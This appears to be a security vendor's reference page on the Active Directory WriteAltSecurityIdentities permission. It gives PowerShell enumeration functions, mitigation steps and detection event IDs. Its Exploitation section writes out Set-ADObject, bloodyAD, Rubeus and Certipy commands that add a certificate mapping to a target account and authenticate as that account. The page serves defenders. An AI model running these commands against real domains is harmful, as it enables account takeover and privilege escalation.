Skip to content

WriteAltSecurityIdentities

Copy page

Summary

Forestall ACL Alias WriteAltSecurityIdentities
AD Alias Write Alt-Security-Identities
Affected Object Types Users, Computers, Managed Service Accounts
Exploitation Certainty Likely
AD Attribute altSecurityIdentities
AD Right WriteProperty
AD Permission Guid 00fbf30c-91fe-11d1-aebc-0000f80367c1

Description

The WriteAltSecurityIdentities permission allows an account to create, update, or remove values in the altSecurityIdentities attribute on Active Directory authentication principals. This attribute stores explicit certificate mappings that tell domain controllers which X.509 certificates can authenticate as the target account.

Explicit mappings are commonly used for certificate based authentication through Kerberos PKINIT or Schannel. They must be tightly controlled because a new mapping can make a certificate controlled by another principal valid for the target account.

Risk

An attacker with WriteAltSecurityIdentities over a target object can add a mapping for a certificate they control and then authenticate as that target. If the target is privileged, a computer, or a managed service account with valuable access, this can lead to privilege escalation, persistence, credential access, and domain compromise.

The risk is higher when weak explicit mapping formats are used. Strong mappings bind to certificate specific values such as issuer and serial number, Subject Key Identifier, or SHA1 public key hash. Weak mappings such as X509:<RFC822>, X509:<S>, and X509:<I>...<S> rely on reusable certificate fields like e-mail address or subject name.

Identification

PowerShell

Active Directory Module

Using the ActiveDirectory PowerShell module, you can enumerate WriteAltSecurityIdentities entries.

1. Find-WriteAltSecurityIdentities function

function Find-WriteAltSecurityIdentities {
[CmdletBinding()]
param(
[string]$SearchBase = $null,
[string]$OutputPath = "WriteAltSecurityIdentities.csv",
[string]$Target = $null
)
try { Import-Module ActiveDirectory -ErrorAction Stop } catch { Write-Error "ActiveDirectory module not found."; return }
$allow = [System.Security.AccessControl.AccessControlType]::Allow
$writeProperty = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
$altSecurityIdentitiesGuid = [guid]"00fbf30c-91fe-11d1-aebc-0000f80367c1"
$principalFilter = "(|(&(objectCategory=person)(objectClass=user))(objectClass=computer)(objectClass=msDS-ManagedServiceAccount)(objectClass=msDS-GroupManagedServiceAccount)(objectClass=msDS-DelegatedManagedServiceAccount))"
$ldapFilter = if ($Target) { "(|(distinguishedName=$Target)(sAMAccountName=$Target)(name=$Target))" } else { $principalFilter }
$adParams = @{
LDAPFilter = $ldapFilter
ErrorAction = "Stop"
}
if ($SearchBase) { $adParams.SearchBase = $SearchBase }
try { $objects = Get-ADObject @adParams } catch { Write-Error "Query failed: $($_.Exception.Message)"; return }
if (-not $objects) { Write-Output "No matching objects found."; return }
$rows = foreach ($object in $objects) {
try {
foreach ($ace in (Get-Acl -Path "AD:$($object.DistinguishedName)").Access) {
if (
$ace.AccessControlType -eq $allow -and
(($ace.ActiveDirectoryRights -band $writeProperty) -eq $writeProperty) -and
$ace.ObjectType -eq $altSecurityIdentitiesGuid -and
-not $ace.IsInherited
) {
[pscustomobject]@{
ObjectDN = $object.DistinguishedName
PermissionHolder = $ace.IdentityReference.Value
}
}
}
} catch {
Write-Warning "ACL read failed for '$($object.DistinguishedName)': $($_.Exception.Message)"
}
}
if ($rows) {
$rows | Sort-Object ObjectDN,PermissionHolder -Unique | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
Write-Host "Exported results to '$OutputPath'."
} else {
Write-Host "No explicit WriteProperty ACEs were found for altSecurityIdentities."
}
}

2. Scan all supported domain principals

Find-WriteAltSecurityIdentities

3. Scan a specific account

Find-WriteAltSecurityIdentities -Target "_admin"

4. Using SearchBase to limit the searching scope

Find-WriteAltSecurityIdentities -SearchBase "CN=Users,DC=Forestall,DC=Labs"

.NET Directory Services

By leveraging PowerShell’s built-in .NET DirectoryServices namespace, you can enumerate WriteAltSecurityIdentities entries without relying on external modules.

1. Find-WriteAltSecurityIdentitiesSimple function

function Find-WriteAltSecurityIdentitiesSimple {
[CmdletBinding()]
param(
[string]$Target,
[string]$OutputPath = "WriteAltSecurityIdentities.csv"
)
$altSecurityIdentitiesGuid = [guid]"00fbf30c-91fe-11d1-aebc-0000f80367c1"
$allow = [System.Security.AccessControl.AccessControlType]::Allow
$writeProperty = [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty
$principalFilter = "(|(&(objectCategory=person)(objectClass=user))(objectClass=computer)(objectClass=msDS-ManagedServiceAccount)(objectClass=msDS-GroupManagedServiceAccount)(objectClass=msDS-DelegatedManagedServiceAccount))"
if ($Target) {
try { $entries = @([ADSI]"LDAP://$Target") } catch { Write-Error "Failed to bind to '$Target': $_"; return }
} else {
try {
$baseDN = ([ADSI]"LDAP://RootDSE").defaultNamingContext
$searchRoot = [ADSI]"LDAP://$baseDN"
$searcher = [System.DirectoryServices.DirectorySearcher]::new($searchRoot)
$searcher.Filter = $principalFilter
$searcher.PageSize = 1000
[void]$searcher.PropertiesToLoad.Add("distinguishedName")
$entries = foreach ($result in $searcher.FindAll()) { try { $result.GetDirectoryEntry() } catch { continue } }
} catch {
Write-Error "LDAP enumeration failed: $_"
return
}
}
$rows = foreach ($entry in $entries) {
try { $aces = $entry.ObjectSecurity.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) } catch { continue }
foreach ($ace in $aces) {
if ($ace.AccessControlType -ne $allow) { continue }
if (($ace.ActiveDirectoryRights -band $writeProperty) -ne $writeProperty) { continue }
if ($ace.ObjectType -ne $altSecurityIdentitiesGuid) { continue }
if ($ace.IsInherited) { continue }
$holder = try { $ace.IdentityReference.Translate([System.Security.Principal.NTAccount]).Value } catch { $ace.IdentityReference.Value }
[pscustomobject]@{
ObjectDN = $entry.Properties["distinguishedName"][0]
PermissionHolder = $holder
}
}
}
if ($rows) {
$rows | Sort-Object ObjectDN,PermissionHolder -Unique | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8
Write-Host "Exported results to '$OutputPath'."
} else {
Write-Host "No explicit WriteProperty ACEs were found for altSecurityIdentities."
}
}

2. Scan all supported domain principals

Find-WriteAltSecurityIdentitiesSimple

3. Scan a specific account

Find-WriteAltSecurityIdentitiesSimple -Target "CN=_admin,CN=Users,DC=Forestall,DC=labs"

Exploitation

Windows

An attacker first obtains a certificate they control. Then they write an explicit mapping to the target account so the certificate is accepted as that target.

Set-ADObject -Identity <targetDN> -Add @{'altSecurityIdentities'='X509:<I>DC=labs,DC=forestall,CN=forestall-FSCA-CA<S>DC=labs,DC=forestall,CN=Users,CN=attacker'}

After the mapping is added, the attacker can request a TGT as the target by using the mapped certificate.

.\Rubeus.exe asktgt /user:<targetaccount> /certificate:attacker.pfx /password:<pfxpassword> /domain:forestall.labs /dc:FSDC01.forestall.labs /nowrap

Linux

On Linux, the mapping can be written with bloodyAD by using an account that holds the WriteAltSecurityIdentities permission.

bloodyAD --host FSDC01.forestall.labs -d forestall.labs -u adam -p 'Temp123!' set object <targetuser> altSecurityIdentities -v 'X509:<I>DC=labs,DC=forestall,CN=forestall-FSCA-CA<S>DC=labs,DC=forestall,CN=Users,CN=attacker'

The attacker can then authenticate with the certificate using Certipy.

certipy auth -pfx attacker.pfx -username <targetuser> -domain forestall.labs -dc-ip <dc-ip>

Mitigation

Access Control Entries identified as dangerous should be removed by following the steps below.

1. Open Active Directory Users and Computers, and activate the Advanced Features option.

2. Double-click the affected object and open the Security tab.

3. Click the Advanced button and open the dangerous Access Control Entry.

4. Remove the Write altSecurityIdentities permission.

5. Click OK and Apply to save changes.

Remove Write altSecurityIdentities permission

Remove Write altSecurityIdentities permission

Review existing altSecurityIdentities values on privileged users, computers, and managed service accounts. Remove mappings that are no longer required, and replace weak mappings such as X509:&lt;RFC822&gt;, X509:&lt;S&gt;, and X509:&lt;I&gt;...&lt;S&gt; with strong mappings such as X509:&lt;SKI&gt;, X509:&lt;SR&gt;, or X509:&lt;SHA1-PUKEY&gt; where explicit mapping is required.

Detection

Changes to the altSecurityIdentities attribute and changes to object security descriptors can be detected by auditing directory service modifications. Ensure Audit Directory Service Changes and Audit Directory Service Access are enabled on Domain Controllers. Look for the following events:

Event ID Description Fields/Attributes References
5136 A directory service object was modified. AttributeLDAPDisplayName should equal altSecurityIdentities. https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136
4662 An operation was performed on an object. AccessMask, Properties, and ObjectType for WriteProperty activity. https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662
4768 A Kerberos authentication ticket was requested. CertIssuerName, CertSerialNumber, CertThumbprint when certificate fields are logged. https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768

References

Was this page helpful?

Thank you for your feedback.